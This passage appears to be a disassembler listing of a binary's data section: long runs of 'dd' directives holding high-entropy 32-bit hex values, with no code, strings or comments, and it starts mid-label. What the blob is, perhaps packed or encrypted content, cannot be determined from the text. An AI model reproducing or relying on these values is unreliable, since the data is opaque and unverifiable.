0E95B0F46h dd 74E0CC9Bh, 3CBC0B5Ah, 5DDEE80Eh, 6331575h, 2BD0A462h dd 0AF37E34Dh, 536EC056h, 2D60E82Eh, 138B2F24h, 3C87CFEBh dd 457052FEh, 891FE245h, 470A9E2Ah, 0CED48F6h, 0D506629Ch dd 27A1A3EEh, 0FC625B4Bh, 425F2CD7h, 0F04DB51Eh, 0FC4961C9h dd 0D1325509h, 72B7A5CEh, 0C8F49D42h, 0DC6C4E18h, 959677A7h dd 0F06EBC75h, 0EB7438A0h, 7E115003h, 0B66087BAh, 0F5B741A4h dd 0FE1756D3h, 58F30E54h, 81F3A6F8h, 0E96C9BEFh, 0DBCF021Ah dd 2FD29DE7h, 0F293AA18h, 0CCEB7Dh, 0B3E1F3DDh, 0A9DF22E6h dd 2AC37B33h, 0A0222A83h, 0FAB656B0h, 0D0064BEAh, 0D2C7CFA7h dd 6205E9D0h, 36BDF6F0h, 192FE6EDh, 9D189861h, 7781A49Eh dd 0D2814819h, 17D1F611h, 6BC6CF75h, 0E106E697h, 5A23C08Ch dd 0F5B6CEFEh, 164B1FD0h, 74C1E62Bh, 0FB7829FBh, 9446EAFDh dd 0F491FAF5h, 6091292Dh, 0A18DE94Eh, 0A742B343h, 4EDEB87h dd 9AFE14B0h, 5DF381C3h, 15812DFAh, 0A432E6EEh, 0DF009E56h dd 808231AAh, 7FBEDB5Eh, 651D46DAh, 0B3C2E942h, 28F0C66Eh dd 496FD3F8h, 4CEF2A6Ch, 0C89140h, 0B79E69BDh, 5C70444Eh dd 68057FD0h, 7468B0D9h, 530A17E6h, 7F84F76Ch, 0FA4ABEFh dd 0B4DFD94Eh, 0DDC56D31h, 0A556DCE6h, 0CE3B9CC5h, 0D2FCF76Fh dd 1D251732h, 9DC7D17h, 102E233Bh, 0B281CF53h, 158F7F3h dd 2DA19518h, 8889179Dh, 276B8270h, 0ED47C1F6h, 58D61B9Ah dd 244C5DC6h, 89AA66FBh, 0D4BBA6CDh, 33136A25h, 8E3EA14h dd 0C8AE0051h, 512750Fh, 2D40C2C2h, 6A40F11Eh, 579ACDACh dd 5B9E37D0h, 1DD953Eh, 0E78AFCA3h, 78680CA2h, 2973D766h dd 484FFF02h, 84DFE833h, 0EA72405Bh, 0D2C4CB40h, 6B81E55Dh dd 0B3A89AD1h, 0BF039031h, 0ED1F178Dh, 37917E6h, 0F5DEF9FBh dd 0FE009530h, 81FA11EDh, 0E35445D1h, 0DB366498h, 0A408C3F5h dd 0E8F68617h, 0CD5189C0h, 0CEA08BE7h, 6AA1E3A9h, 0F3792CBBh dd 664ECD04h, 0C3D64D40h, 0A53FA97Ah, 0DCDB621Eh, 83045040h dd 55C749DEh, 0E16ABFF5h, 891A2EE9h, 0FB762332h, 3DE4A665h dd 4F66CCB8h, 47F73F80h, 34536E92h, 33AFB2D4h, 5DEDA545h dd 0CB460BE5h, 0C7BFD4B1h, 0D6A71464h, 0A94AD7F0h, 4DC82D72h dd 7D57EC5h, 0F95664B4h, 3DAF4959h, 195E53B4h, 7951433Ah dd 13657953h, 0EC1C4309h, 3AC86A0Eh, 0B9A5AD92h, 0EABAD6C9h dd 679D7141h, 0D72FAD11h, 0D792F8F0h, 0D02DAB7Ah, 259A902Eh dd 146655DDh, 0EFD12771h, 0B76F36D5h, 91AD2B0h, 0DBE6825Eh dd 7002182Ah, 95310F2Fh, 0CC0262E4h, 6854CDCAh, 85012DC5h dd 1992E180h, 1EEF98D9h, 5172CD5Fh, 6ECA95A1h, 5BC516E3h dd 0B8B40797h, 24E4A970h, 0A5BC610h, 0EFE9DF3h, 39188CC3h dd 1A36E9ACh, 67A75F51h, 4C2E1392h, 5F196A2Ah, 8D4C4F52h dd 35036C4h, 2486100Eh, 52F28355h, 0C95188C5h, 0B80B937Bh dd 0E457B474h, 6B5AA9CFh, 2A64858Fh, 0F8F2D618h, 8EE2B77Eh dd 755278B0h, 3ED19E81h, 569A227Eh, 3E29D251h, 0D307F4CBh dd 0D190BB7Eh, 97C53C1Eh dd 274A966Ah, 0D69EA750h, 750E3ED0h, 1F2678C3h, 8F86BC65h dd 8D48CC29h, 0B511F7FFh, 3D42E287h, 4E12FE99h, 676A4E58h dd 0C96C94CBh, 0B944EABAh, 0BDC21C79h, 0D4737F4Ch, 84AB1D9Dh dd 0E3C04770h, 19D5CB28h, 9A88C938h, 8E34DAB3h, 0E19B8B2Ah dd 279BD8ADh, 0B0810753h, 685E22C2h, 0BBD51560h, 94AD37BEh dd 0E34BB0D5h, 9953AEF4h, 27FD0621h, 7B70B937h, 0ED563B01h dd 0D7682492h, 0D298449h, 9836F10h, 70EA5D39h, 0D7F54625h dd 0D5F5FFA0h, 7AAACA37h, 0FB804Fh, 378C6C23h, 783F7A60h dd 1E57C0A5h, 5EF5E5C4h, 0B05D091Bh, 0D483B3E0h, 347769A7h dd 87DD35C3h, 0A2C7F15Fh, 49893FD8h, 0A396237Bh, 0EEB083FEh dd 5EA71D51h, 9BE4CA92h, 0A59AA3B4h, 0A6D5E093h, 9D3F571Dh dd 4F80C589h, 4A78C2CEh, 719D4A0Dh, 766D10Fh, 105CE9A0h dd 643A167Ch, 37A75B7Ah, 1FE95FCBh, 0EF838EB8h, 0F0BF313Dh dd 85497380h, 782EB91Ch, 2CBAFD97h, 0FD8A4791h, 0A4BA3D9Dh dd 32D656EDh, 0D67CB619h, 0BB504319h, 0D1C00861h, 0A06B3AD4h dd 5EE44EB2h, 9A80B3B2h, 97263233h, 0B8505107h, 207361A5h dd 0DEAAA46Ch, 0A2B58EC3h, 8E16E5DDh, 0A73E9A3Bh, 559D59C4h dd 0D9ADC6D3h, 71B5DAC0h, 0D878750Eh, 6E1B13E5h, 799AC632h dd 7DDDFE7Eh, 4FC9168Ah, 6AD616BDh, 0EB42CF2Dh, 355621B8h dd 1268E7B3h, 54FFD47Ah, 51D1F495h, 7F6B8A93h, 37572D16h dd 5BA1186Eh, 79B3E66Bh, 84C1D596h, 6C306CB3h, 7781BDA3h dd 4EFD15BAh, 0CD7F348Dh, 3A0C1314h, 37A3A3Bh, 15089FE7h dd 21109FC4h, 7EC32CF7h, 7EF2F631h, 7D7FE0F2h, 0D8968E4Bh dd 47796ED5h, 0C79023A3h, 0C12C4490h, 0D428A4EFh, 17A6248Dh dd 0A6ADCB57h, 0BEA9B7FDh, 0AD4A4597h, 73C542ECh, 0D50A62Ch dd 984161D6h, 660D262Ah, 4E048558h, 0B423F12Fh, 3FAFDE56h dd 33D35289h, 0BFEE5985h, 7F677CE7h, 0B6ADBF09h, 56AE8B0Eh dd 5877027Dh, 0A891EA70h, 0E86CED70h, 0BD9861A3h, 77490267h dd 94A7214Dh, 92832B8h, 0FFB588CEh, 0C1C7175Bh, 0D958125Ch dd 0C3586F41h, 38016AE1h, 678108B8h, 90ADB771h, 0C40408Fh dd 0E3DDE55Dh, 7CF5C8EDh, 0E3F55814h, 13408F6Eh, 49C20F4Ch dd 0FAD52812h, 603B9CB8h, 0D6C0BEB4h, 539D80D2h, 999DC24Bh dd 880F4101h, 0EDE1BBB3h, 8ADA86D1h, 71A34190h, 9B54691Dh dd 0C3D66F40h, 3906C292h, 0DD8FCD40h, 0E6A550h, 0C4A23CA6h dd 0CEDB539Eh, 3D5B867Ch, 66459565h, 6CC11679h, 0B44ED1B8h dd 0F7ABEFD5h, 133D7AB7h, 0FB2D4163h, 90D8DE4Fh, 1AD9FD62h dd 0B4B75AFCh, 4C14A941h, 50E9520Dh, 2C0629AFh, 43628381h dd 0A40A634Ch, 18B8FA76h, 438FC8D7h, 0C1CBEECh, 2E4A167Eh dd 2D3C5B00h, 0E9362AB8h, 471DD735h, 20F01D9Ah, 40201B45h dd 651DB750h, 33F85F8h, 41672C4Fh, 4B922ACDh, 2779CF5Fh dd 4C649CBCh, 6DAE7879h, 11EAA145h, 0D0FB7C5h, 0B658E34Ch dd 6E688E5Eh, 193DAF90h, 94F84758h, 5D9CB9B5h, 0D1AB38Ch dd 0E5037860h, 3CC118E3h, 0DD838CC4h, 0F27ADE61h, 2A1FE86Bh dd 5344533Dh, 0D55A9105h, 0FFD5E9A6h, 0B549BDCCh, 9D615F8Fh dd 919E0B83h, 0A86ABC2h, 3111CFB3h, 82959FFDh, 0DDF1A17Eh dd 13606832h, 0FF433F1Ch, 451C0F9Dh, 0E5C5E24Bh, 20A6907Dh dd 0FCC0D62Ch, 77D0863Ah, 93C9E6CCh, 0AE0F55ECh, 1BC80C6h dd 0FDD23015h, 74FB7851h, 73967751h, 55E14D02h, 0D62CEEAh dd 0FC6813D8h, 5238620Ah, 0B51BE87Ch, 88213DE4h, 0D0F04092h dd 700DF4F4h, 0C49CF2Eh, 0A8EEC13Ch, 0FD7DD531h, 880457FBh dd 8C5A4341h, 68B0D753h, 9EEDAFCCh, 49448860h, 0A1366F63h dd 0B77C90D7h, 475A0191h, 238814B9h, 5271988Ah, 7351C091h dd 97287694h, 87A7FB9Bh, 3D6C8417h, 0BA758524h, 0C37DB7C0h dd 7E58D2FAh, 0B071FB5Fh, 0E6CE5CB5h, 59BF27F2h, 0FD5460B6h dd 39032076h, 6F69F475h, 0DE93B804h, 0AEFCCFFh, 2A620FCBh dd 6DF04267h, 203204EDh, 5B0C87A0h, 0A9D2A127h, 0F9DB0DB8h dd 0E39137D3h, 2048E932h, 0DA85456Eh, 0F77F22Eh, 1E524269h dd 0E046FB0Ah, 9D05D561h, 3F1C15E1h, 0F10E46AEh, 0B58E7093h dd 2DB5A118h, 52FCE0CEh, 0F95D21DCh, 7706206Ch, 94005A9Eh dd 0AE372A6Ah, 2C4F453Bh, 0BB87C8DFh, 0CA7B5468h, 0E6D6BB77h dd 259CA195h, 0E55277D8h, 82D252Eh, 78D2D221h, 16EE81A7h dd 9CC33858h, 3DC92C4Dh, 363AD330h, 89873BB5h, 0FCC9F241h dd 2536F9B9h, 4E913001h, 8690ACEEh, 27BA3B58h, 0AFE3E370h dd 78030EAFh, 25F692F2h, 0F18B31A5h, 0FC57F95Ch, 5D057552h dd 79337EF8h, 8CE7E562h, 419C435Ch, 63C678FEh, 5E3DF1D3h dd 25185498h, 0D905EBEBh, 0A4D0C461h, 63A3972h, 33970370h dd 6F844669h, 0F1B04172h, 0B72D87CEh, 0DBBDACDCh, 7903218Fh dd 0F97427A6h, 63C53383h, 152D154Fh, 860D11CBh, 0F9F6DE95h dd 0CCE95B50h, 0E72675E8h, 0CC6C3E80h, 0B71DF57h, 6443DEBAh dd 11431F09h, 94D9FAC2h, 0A9D2C451h, 76C18A9Dh, 75113D19h dd 12AC4CBBh, 7B690E8Fh, 0A2A24C43h, 66E326FFh, 8D81770Bh dd 383ADFD1h, 3F0013B4h, 0BB527C7Ch, 0B5772F92h, 7E208665h dd 51447D0h, 22B2F6A9h, 0B2D4549Bh, 51576657h, 0E7DC9AA5h dd 19FADFAEh, 0A1652E00h, 4448C59h, 9596757Fh, 72E866FEh dd 0B4FF708Ch, 0E35B84EDh, 7FC08728h, 0AEC7687Ch, 21164438h dd 0F60C4A3Fh, 0F590AB2Fh, 0A684E1B2h, 64A94823h, 80C4662Fh dd 0F2B850ACh, 0F3A8EA0Bh, 4426A8E9h, 2E982280h, 9AAE686Eh dd 2F5E18E3h, 3ED85F4Eh, 0DE35A8EDh, 81239312h, 4490C95h dd 0E2FA9C6Fh, 0C9695E86h, 313CCD66h, 9EA4F88Eh, 9D01EA2Bh dd 0A7E62D2h, 0C05F503Eh, 0E68797B3h, 83858C2h, 4F53E81Ah dd 8394769Eh, 0DE7AF231h, 660DD1B6h, 6D43ADEh, 0BE57D1DFh dd 0BDFBDA1Ah, 0E270B3CBh, 0BACBEE2Fh, 3AC14DBh, 4BA9BB6h dd 78D87AC8h, 821EE032h, 72B5107Ch, 3E2748F5h, 5CFD1530h dd 1E79BB92h, 0C3AC1C78h, 9BBD2BF4h, 64545C5Dh, 0ABE42F51h dd 14FB7B6h, 0AAD85968h, 0CCC2C755h, 5B39A036h, 0CF0272Ah dd 42B0B0F7h, 5BA033FBh, 8616536Bh, 355380EDh, 22C5B4B6h dd 544C1342h, 0CBCF4684h, 9DF52986h, 0A8F2DA12h, 0B4004D49h dd 17C886BAh, 4C2BD719h, 62C52397h, 798B9E8Ch, 0F2A86063h dd 256F1C9Eh, 61F9C618h, 54D28310h, 86832442h, 0C307C38Fh dd 0CBF2991h, 0D7C534B7h, 0C99E3DC2h, 7466C67Eh, 0F88BAC80h dd 39384758h, 5746B08h, 88D3C3FFh, 0E3A59654h, 0A4622252h dd 0BA3DF7D8h, 3B1CFE36h, 6E0F75F0h, 5E5AF59Dh, 8C7E2F4h dd 0F54508E4h, 56CF4FBAh, 703990A6h, 0B05726B7h, 51D91CB0h dd 7894CC68h, 91A0B970h, 0B4511798h, 77EDAC21h, 0C56500D2h dd 0D178DBEAh, 4D7C9361h, 0A8A39513h, 2829A9C1h, 0DB6CBFDFh dd 0BFD44729h, 1565835Bh, 0E7F7C113h, 57E6BF34h, 8D5B60F8h dd 9D97E092h, 6649CB70h, 6D9AAFEh, 49F1B259h, 466A26ECh dd 861372B6h, 0F151F03Eh, 64BE908Fh, 0BAAB7442h, 66843B39h dd 4FFBB5B6h, 462572B8h, 0C89D41DBh, 44E35841h, 0C60B03B4h dd 0D0CC5098h, 527797D6h, 9ECC8A2h, 18FAD0C5h, 48E1E0EEh dd 0F608F254h, 79EE82C6h, 56BB9636h, 1C6E8F55h, 82E21D6Ch dd 0AC4F338Ch, 30CC4AFEh, 267E752Ah, 2055E6A5h, 10334A80h dd 0C13257B6h, 0F025B795h dd 732ACE5Ah, 5924DA3Ch, 0D199F0A9h, 106B2F1Fh, 0B3B2B59Dh dd 0F1627E5Ch, 8B0A9FACh, 0CD376B23h, 9CC34AA3h, 0FBDEB685h dd 81262F9Fh, 0D636755Ah, 0C009CA28h, 0B3B1AA5Fh, 52C6B28Ah dd 0A57E793Dh, 7B350E82h, 14B0B763h, 9DBFD746h, 50C3AF0Ah dd 9BEE420Eh, 0E9160524h, 0A063DC90h, 0EDDCFD1Fh, 0C168E5EAh dd 0C64AFC1Fh, 835F2C36h, 0E924139Ah, 5629124Ch, 0E13858F4h dd 0CFE2803Ah, 0EBB4977Ah, 0C9A39952h, 964F0A98h, 0F2AC155Eh dd 3886452Dh, 3AF81DF4h, 0C0981770h, 0C09E90C4h, 0E6B0B2CEh dd 0F7F04588h, 0CCC59873h, 0C247E8Fh, 269FB427h, 0CDF3C9A3h dd 1AEFD861h, 898855C6h, 78E73987h, 5A0B9F89h, 30C3AB0Ah dd 0D67AE74Fh, 0BB8766Fh, 0B6009044h, 48A39B73h, 0E4F3FCFDh dd 659C1BDCh, 6179437Fh, 5BE977B5h, 0E5031F44h, 29E6F028h dd 53D1E892h, 45F25239h, 1426CEABh, 26F8C1D0h, 21C353CBh dd 0ABE7647Ah, 0A9B52CEBh, 2394E767h, 0B2B75EDBh, 0A8D8307Bh dd 8AD28E25h, 9879DE4Ch, 6F297108h, 0ABDA2175h, 5C54C0C4h dd 2192225h, 0ACE6D8DEh, 80A12851h, 688E431Eh, 34A2AC41h dd 0FBFB2B27h, 29BF6748h, 6E23F13h, 0BCAEC96Bh, 9924AAB6h dd 0C8F7BBC6h, 371B6FE5h, 1E121A76h, 1FA1C1D2h, 4212327Bh dd 0FB8145Eh, 694B411Ch, 0C9F63ADDh, 7F253EA9h, 1D1BDEBBh dd 51051571h, 0A76CE662h, 2EC2A22Bh, 0C3540B8Dh, 8AA956F5h dd 2E4C6773h, 0BAC84223h, 7DCAF281h, 28BD83A7h, 7BC068Ch dd 84D1DD1Eh, 0BF6F1514h, 9C279A6h, 0D8B02BFBh, 0C01F7D8Ch dd 27FF298Eh, 7FA7DAD7h, 7C160BE5h, 77ED52AAh, 0E2717E66h dd 0BC016B7Ah, 0D5D8D798h, 0E09C7A11h, 4712EEDCh, 82A28F13h dd 2ABAA014h, 0DBCFEF00h, 25E4C02Ch, 3AE237F5h, 0C6571136h dd 68FC447Dh, 65982971h, 64D55A5Fh, 7257BB00h, 0EF14E12Dh dd 6D8B1E7Dh, 85CD4B11h, 0C5DE1E76h, 0B1301B52h, 57156E47h dd 29C807C8h, 0A5198833h, 111C23C6h, 73D22366h, 0B00361B5h dd 6A529044h, 0AE7D9207h, 0ACF3C43Ah, 0EAF930AFh, 0FC5A1840h dd 0DA2BA5F3h, 89B14DF5h, 0D2150928h, 2410580Eh, 15888137h dd 0FB51701Ch, 0C2C3E0FFh, 355C3CFDh, 587259E3h, 34C1E50Eh dd 0CA7F6F43h, 0A3C8AA20h, 2F646DF4h, 9654DD77h, 239A5B67h dd 52B57AB1h, 779C0004h, 179F47A3h, 2F7B7C34h, 2D8A3E9h dd 5078B28h, 0A37BBEA9h, 8750A651h, 3BB281BDh, 1C310EA3h dd 87F1112Ch, 0ED2E7FE7h, 0DC568EB7h, 0EECAD9C4h, 6B4B2D3h dd 0E5D54418h, 0DE99FDCCh, 402E9FCAh, 931B50F2h, 0EA8201B2h dd 60D3E990h, 87EC455Bh, 0C758D6D1h, 0F6917E81h, 1B57490Dh dd 68FC0AEBh, 391D2154h, 32C8611Bh, 79DB960Eh, 9E309FC0h dd 4325EBC6h, 0A76B3900h, 2AC25A96h, 7C02C0D0h, 0AD1A422Eh dd 0F7DF380Eh, 55DBE881h, 0CC38B84Ch, 0B64AB533h, 1D1FD4B9h dd 0B0C50F3Eh, 93E7FCEh, 0EBFC57A3h, 7E41EFB2h, 8118F71Dh dd 0D7BAF7AFh, 40220C0Dh, 0FB1AB4C5h, 0B47CAB29h, 361313A8h dd 0B6A2DBF8h, 34EF7745h, 0CDB8B5E6h, 9D59A040h, 2B41E10Ah dd 80E7A524h, 0A71A0ADAh, 0CFE9D2C3h, 4EFD01EFh, 297E3726h dd 94A0D404h, 21403B0Bh, 85212E06h, 0AED8391Dh, 231AD923h dd 5C39E1EBh, 0EC81F8E2h, 0EFBD5413h, 0DDD9CB2Eh, 5FF320C6h dd 0C6342531h, 8B40D85h, 0E832BFE5h, 571DA90Fh, 1D05113Fh dd 2EAC9AE7h, 9784740h, 0BA9D0C07h, 1C70DB4h, 0F22322Bh dd 6C7AA13Ah, 0DC18B998h, 0AE174487h, 3B9CE74h, 0B5F40E7Dh dd 0A315D82Ch, 2AB79020h, 0E02CBB81h, 99581C36h, 1C543D35h dd 13534A5h, 0F738141h, 85539356h, 0BCB40447h, 22056B04h dd 0C93E727Ah, 0D4943A2Dh, 9338A7BCh, 30D2307Eh, 0B056F10Ah dd 12E346CBh, 970F6585h, 57DBF303h, 0CC4F7CD1h, 459F1A5Eh dd 1ACE77E1h, 750977A6h, 59E6ADE0h, 0BC0C3DA0h, 37526C53h dd 0EC392B2Bh, 0B0CB965h, 9CD3477Bh, 1412FE66h, 8E50123Ah dd 455BED97h, 64EA6C71h, 2843AE3Ah, 0DF72B89h, 503EF5B6h dd 0D119DBDh, 595EFDF5h, 0BA792206h, 2ADC672Bh, 2022CFA3h dd 76F17ED5h, 6126556h, 506EA49Ah, 5461B61Dh, 0C8F9003Eh dd 0E28F00AFh, 0E6CC790Fh, 65B2A549h, 0B910ED88h, 2877A9C8h dd 516B70F2h, 0C57A3609h, 0C87F330Fh, 48BAFFB7h, 8285B93h dd 0B6E55651h, 0ED32D2E4h, 1AD1B7F8h, 61141600h, 99834178h dd 578E4CBFh, 0E8657A9Dh, 0E0350A92h, 2610887h, 1C0E229Dh dd 6187422Fh, 0B12F7471h, 0C3CBD91Eh, 48BD3393h, 0AF14430h dd 0AE94A056h, 90680DF6h, 29116FFCh, 8FEFF082h, 4A151BC6h dd 0B4D9E416h, 0DDF5E8F8h, 1E91BB06h, 2F54E287h, 57367500h dd 0D0A9EE1Ch, 7A66D87Eh, 7D5B3F60h, 0C1310CC1h, 36211C47h dd 3BEAC0C6h, 0D7241B84h, 17CDA6CCh, 693E4404h, 8508A28Eh dd 0FA7F178Eh, 0B10842D6h, 5669655Eh, 89168E4Bh, 23D27F0h dd 3E904DC8h, 0BBD2740h, 0CCEA22A8h, 54E44D1Bh, 1E059C4Dh dd 8DA23AD0h, 161A823Bh, 63C6BCCDh, 0BE475698h, 0F04AE0EBh dd 0D165F2F8h, 0E78E889Dh, 0E8937068h, 0B528E91Bh, 13D564F7h dd 0BAFE12E1h, 0E23E4295h, 541E5307h, 830086DCh, 0CCCC1492h dd 0CE312651h, 0D0DB658Ah, 4DEEBFA4h, 0FD6B1C47h, 0E63A8E07h dd 32F4EFCCh, 6996B7B9h, 0A1D7B7A1h, 3456BB22h, 0B6D06DADh dd 0D13917C2h, 0D2BAD6E0h, 97B35328h, 684AD7A3h, 0DFB5D5EEh dd 0CC5457BDh, 2140D1B6h, 0B26E6FECh, 0B2EC3DB8h, 59E6B69Fh dd 0EA3E1D16h, 8E69150Bh, 51DB19F1h, 97D6EDD5h, 55F56E93h dd 0B3C7BA42h, 0AEC6BDEAh, 991AAD68h, 0D38D4391h, 0EF27BFDh dd 0FCBA5DC1h, 0BED1EF8Fh, 3A0C4559h, 90447304h, 0B35D384h dd 0D63D90E6h, 0FD8D1052h, 0D160752Fh, 41755FE6h, 493C33DAh dd 446854D0h, 0B1D1FAB4h, 1A58B137h, 0D27F672Eh, 0E7F70418h dd 71685DB1h, 0BE59E439h, 1EF4FB59h, 1561E591h, 0D6D550CDh dd 895B3C7Ah, 0F03709D7h, 3E549F3Ah, 245ABF4Ah, 99CA50D4h dd 7C5AD466h, 0A6775D13h, 2D71300h, 7574083h, 9855243Ch dd 3A5A10F8h, 0FBA327EDh, 7408EB1Ch, 3CEB13F2h, 97F40BA4h dd 0FD88F5FEh, 0F32D1AFh, 18A521F7h, 1A67A913h, 729963D7h dd 6B644CE7h, 6B611884h, 627EF859h, 5E15FA86h, 0F5424970h dd 0FC35A829h, 0A6DC8346h, 73F5CC9Fh, 94F44764h, 77CB3AA1h dd 0EC6A29D1h, 2C8F6C0Eh, 546668B2h, 82285604h, 0CB96BCAAh dd 14806A43h, 4CCF40CAh, 0B76F54F5h, 3A641674h, 0E02A8F2Fh dd 0DD7D2E48h, 308C85F7h, 0BCE8C178h, 20FACC34h, 0ACEBD3FAh dd 0AD5F3E92h, 68FD5A8h, 6C48C5E8h, 6670C2D9h, 0C81E2A03h dd 586582AEh, 0D77A8028h, 4DFCA353h, 3DD8D5F9h, 47C7967h dd 4DA6F95Bh, 0D3E2E5DFh, 0E635EE29h, 8FF787F2h, 0BB50FB83h dd 16AB17D8h, 94A9389Fh, 0F21F2DCFh, 0E30A9EFEh, 7D5A16B6h dd 37D60B7Ch, 4AF40BD2h, 0D83325CDh, 658AFDDFh, 0A82D64EAh dd 5177CC10h, 0CCFDDCBh, 8A188148h, 0E1BD02C4h, 6C2C6A80h dd 1CD0C18Eh, 0EEB54C7Dh, 0A88CF0F4h, 373D8540h, 0ADF88D88h dd 53BDC63Fh, 5050CEF1h, 48C635CFh, 8E1A531Fh, 0E1615962h dd 36F48AFAh, 0F273A782h, 0FF1C32DCh, 0D086F285h, 16591F75h dd 4BC6A292h, 5857095Ah, 316052B1h, 2B180B0h, 48152DCDh dd 2F52BB3Fh, 0E65E80D3h, 1EAF7B54h, 5243940Fh, 2CC69E76h dd 8279D17Ah, 7C8FA637h dd 345EB5A1h, 6151C5B1h, 5EA71398h, 3495A90Ch, 6E268BB3h dd 29336BC3h, 2A839E1Ch, 0D14E6CE2h, 498D0720h, 0A1D8D3B6h dd 0C21ADB4Ch, 0EC5AD9C3h, 765353F6h, 0B1E17D9h, 0EDA14338h dd 5C280CC9h, 8E6AD653h, 962C46C7h, 5484883Ch, 779BBE4Fh dd 8BA8A72Bh, 165F190Fh, 2868AC2h, 0BA0ADA03h, 8A266A5Bh dd 0A7F7C066h, 63990588h, 10917209h, 0C30DAC91h, 0B9D1ACD0h dd 0C214088Ah, 0EBEBA60Bh, 1CB27A09h, 4D821915h, 0D18E9F74h dd 0E461FBCCh, 78C14D39h, 67DC5EC6h, 0FE903642h, 847B7B86h dd 0EDCE41C7h, 0D6A56343h, 3E05D092h, 0A9C4096Ch, 0DB094B06h dd 268FD0Ah, 7B7232B5h, 29F6D138h, 9139E138h, 0D73BE1BDh dd 0D3A8B3E2h, 32FC3A04h, 0CAAA910Ch, 36890474h, 0E14C6784h dd 0D45D97Eh, 75EC1D4Eh, 5B8DCFC4h, 0A4AB82BFh, 11A7CBA4h dd 1E13127Dh, 31D84CABh, 0FE88D360h, 0A1189872h, 0CCEA078Dh dd 81D1C5B0h, 0ECA55ACCh, 0AA606CC0h, 4584E538h, 0EC72849h dd 0DF549944h, 0DF020527h, 8AB954B3h, 0A675E675h, 72F34482h dd 228A4D04h, 0E9C8CBAFh, 0EF556A9Dh, 18E36CA8h, 7A3D6F65h dd 33C12A38h, 114FED07h, 476BD1CFh, 4215CA41h, 0BCD2E362h dd 27DB7A73h, 0D95091FFh, 2BB596FEh, 4D1B15EFh, 0FDEF83D4h dd 442AED7Dh, 2CB3B637h, 0C644E5Ch, 1AFBD5Eh, 2A182D82h dd 8F47C4A6h, 2B8FE0DDh, 6DBCFB2Fh, 0BE3AB1C3h, 7739CBF4h dd 11AE1B6Dh, 1B9CFA82h, 3F25935Fh, 0F51BFB30h, 7C00CDD9h dd 74544496h, 0D685D8EEh, 0C674A442h, 0BF91983Fh, 332E3D5Eh dd 8FC3BB17h, 1363E97Eh, 7EB6A2F2h, 285C6B2Bh, 0BF2918Fh dd 438F8E8Fh, 3837CC68h, 2D3CFE95h, 0E527AFF5h, 0AD7CA04h dd 6C93BCFBh, 5A4F161Fh, 0EDABA460h, 0E5A41B29h, 0FAEDA708h dd 1FE55F5Dh, 0E724B33Dh, 0D1C4A77Ch, 0E6150898h, 7FD90C0Eh dd 13C04518h, 814D85BBh, 73C0C0B2h, 0BF09EA4h, 640B6A34h dd 0CC8C9B9h, 99B343E0h, 0D6C02449h, 0C5C07EADh, 0D44EFB76h dd 0CDA062B4h, 28592B84h, 2241471Eh, 0CF6F764Dh, 0FB52B86Dh dd 932BA293h, 79B31B92h, 7AAD65CCh, 0C618B950h, 35D11F05h dd 27C71715h, 0DC99C3A6h, 357C8C4Ch, 96EA20E1h, 0AD6AE62Eh dd 343A4C6Ah, 7C740AD0h, 0B015E91Fh, 0ED251A60h, 3762E31Eh dd 3AEAD07Bh, 7A7FABF6h, 0BBEA731Ah, 0AC69A920h, 153D2903h dd 0E8E05E9Eh, 0DF779933h, 72B7FADBh, 0D9FFB8EFh, 75E2E46Ch dd 0A589974Eh, 0B8F8D344h, 0ACC59963h, 9B3EE1B7h, 8187E978h dd 0A1008CDCh, 0ED7CDFA4h, 90AD04E6h, 0C00F0AA6h, 39FC4380h dd 3C6699FDh, 5EF94AEh, 14A5EFE6h, 84E6C783h, 233DF65Bh dd 76EF1833h, 63531623h, 0BC741E15h, 0EF8A5894h, 9680D150h dd 4C8BFEEFh, 0C0BE7FD0h, 2EAA2270h, 45510CDEh, 34AAEED4h dd 60DF2B3Dh, 443A42D6h, 59F2F040h, 0C3CB0062h, 688DA9B6h dd 0B9A8E227h, 2E771A7Bh, 9F00797Eh, 0B593FEDFh, 4BD91D73h dd 8FBCF06Eh, 12DA234Ch, 1F1A1C36h, 8779B65h, 6F3479Fh dd 0DD426525h, 12A13934h, 393CD2Dh, 0AF20AEDDh, 84DA1DAEh dd 4E80E86Ah, 38197726h, 2346FAC5h, 7FC50FA9h, 857A1787h dd 3A645B34h, 85BC2123h, 68EC8C19h, 3EDA7BEBh, 0DE1B6022h dd 0E68F670Dh, 0D13976FDh, 35931B99h, 11EF04BCh, 45DCE4Ah dd 4EC21DE6h, 1DE2F901h, 390318BAh, 0EC039FBBh, 9EF7F8E4h dd 6DF75E64h, 716AFEB9h, 0FBA1976h, 688B8C5Ah, 2D2A0F20h dd 433D3A35h, 65146EC6h, 0ABA2BD88h, 1E972CD4h, 0A4EF62EFh dd 772A771Fh, 90D60E16h, 2B86CD41h, 43253239h, 0E63C584Bh dd 0DD114A6Ch, 0C0F2E320h, 489AA765h, 0BC1B8390h, 1AC66164h dd 0EEA123FCh, 0D825E787h, 9E7B9688h, 8F70CB4Dh, 27202087h dd 52985060h, 0AC9A0FEAh, 0CD3209A1h, 3BDE5B62h, 0B1640F3Ch dd 37A7691Ch, 5F8F8E7Bh, 714AA897h, 0A41319A2h, 0CBBACC38h dd 149446Fh, 9F917171h, 7F36CD8Ch, 21FA8BD6h, 0D4653921h dd 4C187185h, 0AD14F0E8h, 136A00DCh, 0A2D0048Fh, 276CF8FDh dd 7A7F55A1h, 3A99F306h, 0CD8C8413h, 5C780EFFh, 563DB457h dd 8920F320h, 0D8300010h, 6022D56Ah, 0D66B709h, 95F9C243h dd 74579E6Dh, 506D63A4h, 7473ACB4h, 0D5634C35h, 0D683E64Ch dd 0DE73BFD7h, 0FB990B43h, 33752AB0h, 76A881C0h, 0CDE2A20h dd 0EA6B13Dh, 6832768Dh, 0D03E521Dh, 6D587DD0h, 6729BA1Dh dd 8841BCE7h, 4D020FFFh, 41EA2CD3h, 8E6F1849h, 4B48EA56h dd 1902D0F8h, 38B58DF8h, 68F1C3F7h, 0DEA8435Ch, 4B84167Dh dd 1EC4A3E1h, 2B9D3250h, 89C7CC2Fh, 19B708FDh, 50BB65DFh dd 7D2B249Ch, 0A26488A8h, 6B05A67Dh, 0F5947C6Dh, 2C0AF392h dd 0EBDC03F1h, 69D76A18h, 0AE9D4852h, 61E8EC56h, 3E1259B3h dd 0FF6FB028h, 14840114h, 8CACB40h, 48FE60AFh, 831AD5E0h dd 0BAB33736h, 0A2FF0AF5h, 0AFFADC83h, 0FCF6845Ch, 40CA12BEh dd 0EE6DCAF3h, 398DFCCBh, 0BFAF43h, 0FE755AA6h, 8AC9D0D9h dd 1E667614h, 